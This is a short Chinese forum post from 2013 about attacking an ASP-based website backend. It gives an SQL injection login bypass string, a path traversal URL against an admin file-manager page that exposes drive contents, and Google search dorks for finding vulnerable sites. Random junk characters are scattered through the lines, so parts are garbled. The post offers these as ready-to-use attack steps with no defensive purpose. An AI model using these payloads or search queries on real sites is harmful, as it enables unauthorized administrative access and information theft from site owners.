后台万能密码 'or'='or'
/ s, ]1 T1 g" b6 B0 d& n6 ~3 C7 _4 n9 @0 O' y) y, M- B
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！$ R- S( [4 O1 @; b2 B$ s- X
admin/uploadfile.asp?currentFolder=/upfiles/../5 z7 p Z7 J. T* {5 p" T
5 C/ Z- y+ C) y
漏洞证明：
5 e4 s5 o7 |, b8 l( {
+ N7 o; j, T$ S$ n谷歌：inurl:type.asp?id=1 新闻中心- R% T2 r" K8 ?2 o
或者 ：inurl:download_ok.asp?
! w; Q; m7 ~2 r. X# O8 ?
( S& \, D% I8 {& S* v7 w. E+ E. G |
发表于 2013-3-14 20:17:32
收藏
支持
反对